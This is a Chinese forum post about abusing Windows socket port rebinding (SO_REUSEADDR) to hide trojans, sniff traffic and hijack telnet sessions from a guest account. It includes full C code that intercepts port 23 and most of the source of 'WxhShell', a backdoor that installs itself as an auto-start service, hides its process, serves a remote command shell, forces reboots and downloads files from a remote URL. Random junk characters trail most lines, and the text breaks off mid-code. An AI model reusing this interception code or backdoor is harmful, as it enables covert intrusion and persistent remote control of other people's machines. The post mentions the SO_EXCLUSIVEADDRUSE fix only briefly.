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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !x:{"  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); PJ4/E  
eso-{W,D  
  saddr.sin_family = AF_INET; ($!uBF-b  
"TP~TjXfq  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); g!.piG|  
xkRS?Q g  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); +p`BoF9~  
pN)x,<M)  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 C4qK52'2s  
&Nh zEl1  
  这意味着什么?意味着可以进行如下的攻击: k ~Q 5Cs  
'7}2}KD  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `zrg?  
aOw#]pB|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Cn{v\Q~.4  
lo1bj*Y2  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \#]C !JQ  
pY[b[ezb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YR? E z<p  
OSfT\8YA  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,(-V<>/*.|  
~1E!Co  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ce#Iu#qT  
xAl8e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .zl[nx[9"D  
F:d2;  
  #include QVJpX;u  
  #include Q"D5D rj  
  #include tcnO`0moK  
  #include    gaxM#  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A'rd1"K  
  int main() xMNQT.A  
  { O9zMD8  
  WORD wVersionRequested; 8V}|(b#  
  DWORD ret; ;N(L,  
  WSADATA wsaData; 0%< hj  
  BOOL val; t)Cf]]dV  
  SOCKADDR_IN saddr; .%)uCLZr$  
  SOCKADDR_IN scaddr; x/CM)!U)  
  int err; P 4t@BwU$  
  SOCKET s; |/H?\]7  
  SOCKET sc; =4'V}p  
  int caddsize; 3!\h'5{  
  HANDLE mt; |OAM;@jH  
  DWORD tid;   pW@W-k:u  
  wVersionRequested = MAKEWORD( 2, 2 ); -.y1]4  
  err = WSAStartup( wVersionRequested, &wsaData ); [|YvVA  
  if ( err != 0 ) { /g. c( -#]  
  printf("error!WSAStartup failed!\n"); : .-z!  
  return -1; Y#Q!mbp  
  } [OTn>/W'  
  saddr.sin_family = AF_INET; zwU[!i)  
   W7'<Jom|?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ']>9 /r#  
8B &EH+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pDYJLh-C  
  saddr.sin_port = htons(23); {Q37a=;,  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NN2mOJ:-  
  { W6}>iB  
  printf("error!socket failed!\n"); UimofFmI%  
  return -1; J _dgP[  
  } 9unRMvE u  
  val = TRUE; {|hg3R~A  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Z'j[N4%BK  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) qEXN} Pq<  
  { q4Wr$T$gs=  
  printf("error!setsockopt failed!\n"); g)^s+Y  
  return -1; gSw4\R  
  } ye=4<b_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; A-:k4] {%P  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KpYezdPF)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 &z1U0uk  
Z#Kf%x.  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) yc~<h/}#  
  { J,)ytw]  
  ret=GetLastError(); [|1I.AZ{  
  printf("error!bind failed!\n"); Lo_+W1+  
  return -1; )dX(0E4Td/  
  } #+l`tj4b/  
  listen(s,2); !CX WoM  
  while(1) *!$Z5Im  
  { a-E}3a  
  caddsize = sizeof(scaddr); G\BZ^SwE  
  //接受连接请求 QEf@wv;T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); J_Tz\bZ3)  
  if(sc!=INVALID_SOCKET) w-e{_R  
  { 3p&T?E%  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C{pOGc@  
  if(mt==NULL) cjPXrDl{\  
  { z,ERq,g+L  
  printf("Thread Creat Failed!\n"); YmaS,Q-  
  break; PIa!N Py  
  } ;10YG6:  
  } tF} ^  
  CloseHandle(mt); ,G%UU~/a  
  } =xIZJ8e  
  closesocket(s); jhf3(hx&F  
  WSACleanup(); p>+9pxx~U  
  return 0; o zn&>k  
  }   -grf7w^  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y2QX<  
  { g ass Od  
  SOCKET ss = (SOCKET)lpParam; b{ xlW }S  
  SOCKET sc; s+lBai*#  
  unsigned char buf[4096]; ebI2gEu;a  
  SOCKADDR_IN saddr; >*h+ N? m  
  long num; `8W HVC$  
  DWORD val; Rv9jLH  
  DWORD ret; 9D1WUUa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 E3O^Tg?j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   #O}}pF  
  saddr.sin_family = AF_INET; $\h-F8|JMX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0GrM:Lh y  
  saddr.sin_port = htons(23); Y PI)^ }  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2L1 ,;  
  { c#}K,joeU  
  printf("error!socket failed!\n"); Ql)hIf$Oo  
  return -1; `e =IXkt  
  } B??07j  
  val = 100; 4)8VmCW  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A)sYde(  
  { {m>ylE  
  ret = GetLastError(); I* C~w  
  return -1; rMxIujx  
  } ulIEx~qP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A,DBq9Z+4R  
  { D1xGUz2r  
  ret = GetLastError(); v>} +->f  
  return -1; b^d{$eoH?|  
  } H"l4b4)N\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G$i)ELs  
  { 950N\Y @u  
  printf("error!socket connect failed!\n"); q%d G>!  
  closesocket(sc);   < v]  
  closesocket(ss); p 4> ThpX  
  return -1; "g ^i%  
  } zk8 )!Af  
  while(1) {s0%XG1$  
  { $C\ETQ@  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 qXW\/NT"p<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 pVy=rS-  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &su'znLV  
  num = recv(ss,buf,4096,0); TSP%5v;Dh  
  if(num>0) vNGE]+QX  
  send(sc,buf,num,0); edp I?  
  else if(num==0) VjM3M<!g>M  
  break; *tF~CG$r  
  num = recv(sc,buf,4096,0); wL?Up>fr  
  if(num>0) v&YeQC>  
  send(ss,buf,num,0); ( *+'k1Ea  
  else if(num==0) %Gh5!e:$SI  
  break; RtMI[  
  } S"Cz. bv  
  closesocket(ss); {g%N(2  
  closesocket(sc); BUBx}dbCM  
  return 0 ; eTS}-  
  } $5&%X'jk  
%)JEYH7Z  
vAUt~ X"  
========================================================== SU~a()"  
INi$-Y+  
下边附上一个代码,,WXhSHELL $~G,T g  
(E0   
========================================================== j HHWq>=d  
]u_j6y!  
#include "stdafx.h" Zok{ndO@|f  
/YvXyi>^"%  
#include <stdio.h> Z ;.-UXat  
#include <string.h> ccuGM WG*  
#include <windows.h> .c"nDCFVR  
#include <winsock2.h> QF"7.~~2  
#include <winsvc.h> 9b+jT{Tg  
#include <urlmon.h> ]^~}/@  
b0$)G-E/Y  
#pragma comment (lib, "Ws2_32.lib") @N>7+ 4  
#pragma comment (lib, "urlmon.lib") yV{B,T`W  
PdcIHN  
#define MAX_USER   100 // 最大客户端连接数 k5S;G"i J  
#define BUF_SOCK   200 // sock buffer 2!/Kt O)i^  
#define KEY_BUFF   255 // 输入 buffer wGArR7r  
!LN8=u.  
#define REBOOT     0   // 重启 tUv>1) [  
#define SHUTDOWN   1   // 关机 3^o(\=-JX  
Ht Fr(g\"$  
#define DEF_PORT   5000 // 监听端口 fc9;ZX7  
Ap dXsL  
#define REG_LEN     16   // 注册表键长度 ebk>e*  
#define SVC_LEN     80   // NT服务名长度 EU?qLj':  
Y.viOHL  
// 从dll定义API qk(Eyp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [A-_?#cZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Nn. 9J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dDaV2:4E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]nTeTW  
<,]:jgX  
// wxhshell配置信息 JtL> mH  
struct WSCFG { t}q e_c  
  int ws_port;         // 监听端口 Js,!G  
  char ws_passstr[REG_LEN]; // 口令 p27Dc wov  
  int ws_autoins;       // 安装标记, 1=yes 0=no )O1]|r7v  
  char ws_regname[REG_LEN]; // 注册表键名 Xsq@E#@S  
  char ws_svcname[REG_LEN]; // 服务名 *'/,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0WUBj:@g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k)p` x"To  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y [`+7w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ?*fa5=ql  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ww]$zd-bo  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6 R6Ub 0  
$p0nq&4c  
}; A WR :~{  
5p0~AN)  
// default Wxhshell configuration a1cX+{W  
struct WSCFG wscfg={DEF_PORT, @j46Ig4~b  
    "xuhuanlingzhe", ')uYI;h9  
    1, [ RyVR  
    "Wxhshell", MKHnA|uQ](  
    "Wxhshell", B]rdgjz*  
            "WxhShell Service", w$}q`k'  
    "Wrsky Windows CmdShell Service", Nm*(?1  
    "Please Input Your Password: ", :5t4KcQ  
  1, -/Q5?0z  
  "http://www.wrsky.com/wxhshell.exe", X{-4w([  
  "Wxhshell.exe"  s5VK  
    }; L< F8+a7i  
E'AR.!  
// 消息定义模块 CsO!Y\'FY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P3zUaN \c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; RM2Ik_IH[l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ewMVUq*:  
char *msg_ws_ext="\n\rExit."; F]$ Nu  
char *msg_ws_end="\n\rQuit."; mrTf[ "K  
char *msg_ws_boot="\n\rReboot..."; Ni_H1G  
char *msg_ws_poff="\n\rShutdown..."; _Id'56N]J!  
char *msg_ws_down="\n\rSave to "; dN{At-  
y~9wxK  
char *msg_ws_err="\n\rErr!"; ~MG6evm &  
char *msg_ws_ok="\n\rOK!"; 4 2Z:J 0  
O=0p}{3l  
char ExeFile[MAX_PATH]; 5GsmBf$RUb  
int nUser = 0; TDh)}Ms  
HANDLE handles[MAX_USER]; z74JyY  
int OsIsNt; 3q]0gU&??  
m eF7[>!U  
SERVICE_STATUS       serviceStatus; m06'T2I  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VI! \+A  
V._-iw]v  
// 函数声明 9 [eiN  
int Install(void); $@AJg  
int Uninstall(void); GkAd"<B  
int DownloadFile(char *sURL, SOCKET wsh); -X.#Y6(  
int Boot(int flag); s9?mX@>h  
void HideProc(void);  {53FR  
int GetOsVer(void); PR{ubM n  
int Wxhshell(SOCKET wsl); < 5zR-UA>  
void TalkWithClient(void *cs); +25}X{r$_  
int CmdShell(SOCKET sock); omfX2Oa2  
int StartFromService(void); A*h8 o9M  
int StartWxhshell(LPSTR lpCmdLine);  ti5fsc  
aBA oSn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); e@'x7Zzh  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8F sQLeOE  
t[|oSF#i  
// 数据结构和表定义 }z]d]  
SERVICE_TABLE_ENTRY DispatchTable[] = UF9={fN1  
{ M\1CDU+*Ns  
{wscfg.ws_svcname, NTServiceMain}, ql?w6qFs]  
{NULL, NULL} |_53So: g  
}; xQ9t1b|{e  
q!z?Tn#!jd  
// 自我安装 s< tG  
int Install(void) WIWo4[(  
{ Kw fd S(  
  char svExeFile[MAX_PATH]; <J8c dB!e  
  HKEY key; ?eJ'$  
  strcpy(svExeFile,ExeFile); *bK=<{d1P  
Y>$5j}K  
// 如果是win9x系统,修改注册表设为自启动 u(9pRr L  
if(!OsIsNt) { +)c<s3OCE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q;K]NP-_p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (B#FLoK  
  RegCloseKey(key); R @\fqNq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _S_,rTf&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gwaSgV$z  
  RegCloseKey(key); 4M C]s~n  
  return 0; 6~dAK3v5  
    } xW"O|x$6  
  } S^s-md>  
} Ar%*NxX  
else { _`2%)#^ o  
'(K4@[3t  
// 如果是NT以上系统,安装为系统服务 cS.@02~f"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5<Kt"5Z%7  
if (schSCManager!=0) B)q}]Qn  
{ 2a@X-Di  
  SC_HANDLE schService = CreateService iwnGWGcuS  
  ( r\m{;Z#LJm  
  schSCManager, ,2AulX 1  
  wscfg.ws_svcname, ~ <1s[Hu  
  wscfg.ws_svcdisp, w1< pQ[A  
  SERVICE_ALL_ACCESS, P2'c{],3V  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +*.*bo  
  SERVICE_AUTO_START, )Kx.v'  
  SERVICE_ERROR_NORMAL, 8GkWo8rPk  
  svExeFile, AQ-PHv  
  NULL, \>$zxC_  
  NULL, ?y|&Mz'XJ(  
  NULL, Zbo4{.#  
  NULL, RFw0u 0Nrz  
  NULL 7(/yyZQnZ  
  ); g}~s"Sz  
  if (schService!=0) bK "I9T #  
  { DY`0 `T  
  CloseServiceHandle(schService); 3Ei^WDJ  
  CloseServiceHandle(schSCManager); W[jg+|  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C6ql,hR^h`  
  strcat(svExeFile,wscfg.ws_svcname); Gs#9'3_U5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &>-'|(m+2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); u^Cl s!C  
  RegCloseKey(key); 8wWp+Hk  
  return 0; #19O5  
    } mxqZj8VuH  
  } Gza= 0  
  CloseServiceHandle(schSCManager); R&1>\t  
} _;}$/  
} } W]A`-Jv  
gV)/lDEM5  
return 1; Pll%O@K  
} bfeTf66c  
,u@:(G  
// 自我卸载 ^Zl[#:EFP  
int Uninstall(void) tDETRjTA  
{ &pK0>2  
  HKEY key; &zYQ H@  
oDS7do  
if(!OsIsNt) { k3&68+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #~Xj=M%  
  RegDeleteValue(key,wscfg.ws_regname); ]Mq-67  
  RegCloseKey(key); ) `{jPK*`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dpz@T>MS=  
  RegDeleteValue(key,wscfg.ws_regname); ?z&n I#  
  RegCloseKey(key); shB3[W{}!)  
  return 0; :X":>M;;+  
  } o2|#_tGNUy  
} nZiwR4kM  
} T6y~iNd<  
else { kRggVRM  
HnPy";{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); KyIUz9$  
if (schSCManager!=0) |HAbZd7PG  
{ U ]pE{ ^\w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )4fQ~)  
  if (schService!=0) (tO4UI5!  
  { dr#%~I  
  if(DeleteService(schService)!=0) { T=NLBJ  
  CloseServiceHandle(schService); g)f& mQ)  
  CloseServiceHandle(schSCManager); 5[g&0  
  return 0; \<I&utn  
  } :V$\y up  
  CloseServiceHandle(schService); GX23c i  
  } i^WY/ OhL  
  CloseServiceHandle(schSCManager); 7j|CWurvq  
} i&(1 <S>P  
} L0VZ>!*o  
H8g 6ZCU~  
return 1; _G)A$6weU  
} yIiVhI?X  
= 1veO0  
// 从指定url下载文件 iB99.,o-&  
int DownloadFile(char *sURL, SOCKET wsh) zw'%n+5m  
{ UNSXr`9  
  HRESULT hr; C}9GrIi  
char seps[]= "/"; Z|KDi `S  
char *token; Lapeh>1T  
char *file; -[N9"Z,  
char myURL[MAX_PATH]; 7.2G}O6$  
char myFILE[MAX_PATH]; RKzO$T  
ZxO o&YR3  
strcpy(myURL,sURL); w\[l4|g `  
  token=strtok(myURL,seps); ?9?A)?O<j~  
  while(token!=NULL) 7oZPb  
  { z\FBN=54z  
    file=token; 4'3;{k$z  
  token=strtok(NULL,seps); 0"j:-1  
  } ^$dbyj`  
O\uIIuy  
GetCurrentDirectory(MAX_PATH,myFILE); {tYY _BI<  
strcat(myFILE, "\\"); $S>bcsAy  
strcat(myFILE, file); *Mg@j;+5s  
  send(wsh,myFILE,strlen(myFILE),0); ).HA #!SE  
send(wsh,"...",3,0); He8]Eb  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d<Lc&wlP  
  if(hr==S_OK) f5M;q;  
return 0; YXTV$A+lW  
else VJ h]j (  
return 1; m|B)A"Sm  
}>y !I5O  
} Rkg)yme!N  
K%`]HW@I{  
// 系统电源模块 C ]B P}MY<  
int Boot(int flag) qh W]Wd" g  
{ \{Q_\s&)  
  HANDLE hToken; Z[&FIG% tV  
  TOKEN_PRIVILEGES tkp; P )oNNY6}  
D HQxu4  
  if(OsIsNt) { #Rfc p!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I lO,Ql  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D 9;pjY  
    tkp.PrivilegeCount = 1; T_s09Wl  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \ ^pc"?Rc  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Mb"y{Fox  
if(flag==REBOOT) { k8J zey]X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @x*xgf  
  return 0; {m3#1iV9  
} {d#sZT  
else { iEI#J!~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P9:5kiP H  
  return 0;  96;5  
} sk07|9nU  
  } O..{wdZy  
  else { ^AI02`c.  
if(flag==REBOOT) { 2::YR?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) kWa5=BW2f  
  return 0; ,K@[+ R!  
} LRWM}'.s  
else {  /s^42  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) &:ZR% f  
  return 0; YH+(N  
} Uu*iL< `  
} &Qv HjjQ?u  
K0oF=|  
return 1; x R$T/]/  
} f`;w@gR`=  
bbjEQby  
// win9x进程隐藏模块 X}]A_G  
void HideProc(void) OqRRf  
{ ]zAwKuIK  
u{HO6 s\S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yK&  
  if ( hKernel != NULL ) &N=vs  
  { QEut@L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); NCT:!&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &RbP N^  
    FreeLibrary(hKernel); yFeFI@Hp 3  
  } 7vRp<  
wC%qSy'  
return; y'b*Dk{  
} R|$b\3  
iO Z#}"  
// 获取操作系统版本 p-\->_9)y`  
int GetOsVer(void) }=\?]9`  
{ CV=qcD  
  OSVERSIONINFO winfo; f|_\GVW  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); < @GO]vY  
  GetVersionEx(&winfo); 2?6]Xbs{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;!VxmZ:j[  
  return 1; |.m)UFV  
  else S:i# |T."  
  return 0; CLmo%"\ s  
} a}FY^4hl+  
4 X/UyBk  
// 客户端句柄模块 ;ow)N <Z  
int Wxhshell(SOCKET wsl) Sx J0Y8#z  
{ 1,h:|  
  SOCKET wsh; X=1o$:7  
  struct sockaddr_in client; N2HD=[*cr  
  DWORD myID; __7}4mA  
.hG*mXw>  
  while(nUser<MAX_USER) 9,JM$ Y {  
{ l(87s^_  
  int nSize=sizeof(client); ?aWVfX!+G5  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EFx>Hu/ [G  
  if(wsh==INVALID_SOCKET) return 1; 'nM4t  
Ye$j43b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sCt)Yp+8}B  
if(handles[nUser]==0) 9M($_2,44  
  closesocket(wsh); :2M&C+f[  
else 'Nt)7U>oC9  
  nUser++; *U%3 [6hm  
  } H#V&5|K%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vR!g1gI23  
Wq+GlB*  
  return 0;  yZ[g2*1L  
} N>*+Wg$Ne  
#\=7A  
// 关闭 socket _A!Fp0}`  
void CloseIt(SOCKET wsh) "9c=kqkX  
{ b+:J?MR;}  
closesocket(wsh); .QKyB>s  
nUser--; w< Xwz`O  
ExitThread(0); JttDRNZAU  
} ZQfPDH=  
y9d"sqyh  
// 客户端请求句柄 `#l3a  
void TalkWithClient(void *cs) (57!{[J  
{ o<3$|`S&  
$Z;/Sh  
  SOCKET wsh=(SOCKET)cs; ;>5`Y8s6  
  char pwd[SVC_LEN]; MIr+4L  
  char cmd[KEY_BUFF]; M.s'~S7y  
char chr[1]; 1d FuoX  
int i,j; 8 I_  
gELG/6l  
  while (nUser < MAX_USER) { `?N0?;  
2yg6hR  
if(wscfg.ws_passstr) { j:'g*IxM_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YK6'/2!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $qYP|W  
  //ZeroMemory(pwd,KEY_BUFF); M$Z2"F;  
      i=0; 3BCD0 %8  
  while(i<SVC_LEN) { 0'Ho'wDb  
UsFn!!+  
  // 设置超时 O8bxd6xb  
  fd_set FdRead; 1F5KDWtE  
  struct timeval TimeOut; YcDKRyrt  
  FD_ZERO(&FdRead); egG<"e*W}N  
  FD_SET(wsh,&FdRead); aif;h! ?y  
  TimeOut.tv_sec=8; /A-WI x  
  TimeOut.tv_usec=0; a= j'G]=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "EMW'>&m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -c0ypz  
7>j~;p{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5a_8`csu  
  pwd=chr[0]; PgK7CG7G  
  if(chr[0]==0xd || chr[0]==0xa) { y-bUVw!Y  
  pwd=0; ?hkOL$v<9}  
  break; 1 rhZlmf[r  
  } "t.` /4R2w  
  i++; q {Z#}|km#  
    } m?<E >-bI  
~o%igJ }.C  
  // 如果是非法用户,关闭 socket @lE'D":?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); / }$n_N\!)  
} |0=UZK7%O  
+K'Hr: (  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sNo8o1Hby  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i}DS+~8v  
[A,^ F0:h  
while(1) { ]$lt  
18Y#=uH}  
  ZeroMemory(cmd,KEY_BUFF); 'v V7@@  
pCh v;  
      // 自动支持客户端 telnet标准   Wvr{l  
  j=0; s b;q)Rh  
  while(j<KEY_BUFF) { ?![[la+f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P7.bn  
  cmd[j]=chr[0]; &R%'s1]o  
  if(chr[0]==0xa || chr[0]==0xd) { W/ Q*NB  
  cmd[j]=0; byM-$l  
  break; 6qH0]7maI  
  } g5@g_~ g  
  j++; GcdJf/k  
    } _5-h\RB)  
Df^F)\7!N?  
  // 下载文件 '&![h7B  
  if(strstr(cmd,"http://")) { =,(TP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); MY@&^71i4  
  if(DownloadFile(cmd,wsh)) G*@!M%/  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); yk`qF'4]  
  else )e,O+w"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y/FPkH4  
  } h0rPMd(K  
  else { 8 XB[CbO  
IQ I8 v  
    switch(cmd[0]) { zOs}v{8"  
  "ntP928  
  // 帮助 c;$ 4}U4  
  case '?': { ai/|qYf  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _VK I@   
    break; *i]?J  
  } \x}\)m_7M<  
  // 安装 cgMF?;V  
  case 'i': { sF{aG6u   
    if(Install()) X@\W* nq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DpT9"?g7  
    else g |>LT_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I x%>aee  
    break; kUf i  
    } (aa2uctTn  
  // 卸载 {rUg,y{v  
  case 'r': { eluN~T:W  
    if(Uninstall()) @&ZQDi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Wwu Ty|  
    else p%3z*2,(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); At iUTA  
    break; !@=S,Vc.  
    } [k6I#v<&  
  // 显示 wxhshell 所在路径 SeD}H=,@  
  case 'p': { G.rz6o;  
    char svExeFile[MAX_PATH]; <e2l@@#oy  
    strcpy(svExeFile,"\n\r"); 1 ~zjsi  
      strcat(svExeFile,ExeFile); cq4~(PXT g  
        send(wsh,svExeFile,strlen(svExeFile),0); 1[!v{F%]  
    break; zw>L0gC  
    } )XN_|zCk  
  // 重启 ?*fY$93O  
  case 'b': { vk92j?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b6N[t _,  
    if(Boot(REBOOT)) p{g4`o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ??,[-Oi  
    else { }Kp!,  
    closesocket(wsh); f+h\RE=BGt  
    ExitThread(0); ,CfslhO{j  
    } V*giF`gq  
    break; Q/+`9z+c  
    } Dr3_MWJ+  
  // 关机 ,vR?iNd:q[  
  case 'd': { 8 "l PiW3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); v'W{+>.  
    if(Boot(SHUTDOWN)) lP F326e  
